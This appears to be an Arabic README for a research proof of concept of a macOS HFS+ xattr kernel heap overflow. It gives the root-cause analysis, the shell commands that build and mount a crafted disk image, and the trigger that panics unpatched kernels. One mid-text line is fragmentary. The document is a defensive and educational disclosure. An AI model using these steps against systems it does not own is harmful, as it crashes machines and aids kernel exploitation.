
تحليل السبب الجذري وإثبات المفهوم لـ CVE-2026-64705، وهو تجاوز سعة في كومة نواة macOS HFS xattr. يتضمن صورة HFS+ معبأة بأدوات هجومية، وأداة تصحيح، ومحللاً، وشرحاً تفصيلياً لأغراض البحث التعليمي والدفاعي.
تحليل السبب الجذري وإثبات المفهوم لـ CVE-2026-64705، وهو تجاوز سعة مخزن مؤقت في امتداد نواة HFS الذي تم إصلاحه في macOS Sonoma 14.8.7 (HT127117):
HFS — التأثير: قد يتسبب أحد التطبيقات في إنهاء غير متوقع للنظام أو كتابة في ذاكرة النواة. تمت معالجة تجاوز سعة المخزن المؤقت من خلال تحسين فحوصات الحدود.
إثبات المفهوم هو صورة قرص HFS+ مُسلَّحة. يؤدي تركيبها وقراءة سمة ممتدة مصممة بعناية
إلى دفع امتداد HFS kext إلى حلقة bcopy غير محدودة بحجم 64 بايت
في مخزن مؤقت للكومة بحجم 512 بايت → تجاوز سعة كومة النواة بمحتوى على القرص
يتحكم فيه المهاجم → تعطل (panic) على الإصدارات القابلة للاستغلال. مستوى تعطل/انهيار —
وليس تنفيذ كود عن بُعد (RCE).
adds/b.hs،
وإنهاء العد الصفري، ورفض total==0 / total>expectedhfs_setxattr: %s has a malformed overflow extent، وكذلك لـ getxattr.| الملف | الوصف |
|---|---|
poc-cve-2026-64705.dmg | صورة HFS+ مُسلَّحة بحجم 32 ميجابايت (ملف تشغيل + سجلات xattr مصممة) |
weaponize.py | أداة التصحيح التي بنت الصورة — تعيد اشتقاق كل إزاحة من الصورة نفسها؛ تعمل على أي صورة أساسية متوافقة |
parse_attr.py | محلل شجرة B للسمات المستخدم لتحديد/تفريغ سجلات xattr |
BUILD.md | وصفة بناء كاملة من صورة أساسية نظيفة + فروق hex الدقيقة |
WRITEUP.md | تحليل السبب الجذري: فرق kext (14.8.5 مقابل 14.8.7)، الحلقة القابلة للاستغلال، الآلية |
على نظام قبل الإصلاح (أو جهاز افتراضي قابل للتضحية — هذا يسبب تعطل النواة):
hdiutil attach -nobrowse poc-cve-2026-64705.dmg
xattr -l /Volumes/CVE64705/trigger.txt # تجاوز سعة كومة النواة -> تعطل
على نظام مُصلَح تُركب نفس الصورة بشكل طبيعي ويتم رفض ملف التشغيل بواسطة المدقق الجديد — يمكنك مشاهدة الإثبات التفاضلي في سجل النواة:
hfs_getxattr: bigattr has a malformed overflow extent
وهذا يؤكد أيضًا أن السجل المصمم يدفع التنفيذ بالضبط إلى مسار الاجتياز المُصلَح (والذي كان سابقًا قابلًا للاستغلال).
hdiutil create -fs HFS+ -size 32m -volname CVE64705 base.dmg
hdiutil attach -nobrowse base.dmg
echo trigger > /Volumes/CVE64705/trigger.txt
xattr -w bigattr "$(head -c 8192 /dev/zero | base64)" /Volumes/CVE64705/trigger.txt
hdiutil detach /Volumes/CVE64705
python3 weaponize.py # -> poc-cve-2026-64705.dmg
بالنسبة لسمة كبيرة مخزنة كـ kHFSPlusAttrForkData، يقوم hfs_getxattr_internal
(والمطابق له hfs_setxattr_internal) باجتياز واصفات الامتداد الثمانية
لسجل التجاوز. count_extent_blocks() تتخطى أي واصف يتجاوز
blockCount الخاص به الإجمالي المتوقع وتُرجع المجموع 32-بت بدون
فحص حمل أو صفر. إذا تجاوز كل blockCount الإجمالي، تعود القيمة
0، ولا يتقدم blkcnt أبدًا، وتستمر حلقة while (blkcnt < totalblocks)
في نسخ 64 بايت يتحكم بها المهاجم في كل تكرار متجاوزة
مخزنًا مؤقتًا للكومة بحجم totalblocks*8 بايت. متغير التفاف الأعداد الصحيحة
(blockCounts التي تجمع لتتجاوز 2^32) هو نفس الفحص المفقود؛ إصلاح 14.8.7 يلغي كليهما.
لأغراض تعليمية وبحثية دفاعية. الخلل مُصلَح في macOS الحالي؛ اختبر فقط على أجهزة تملكها.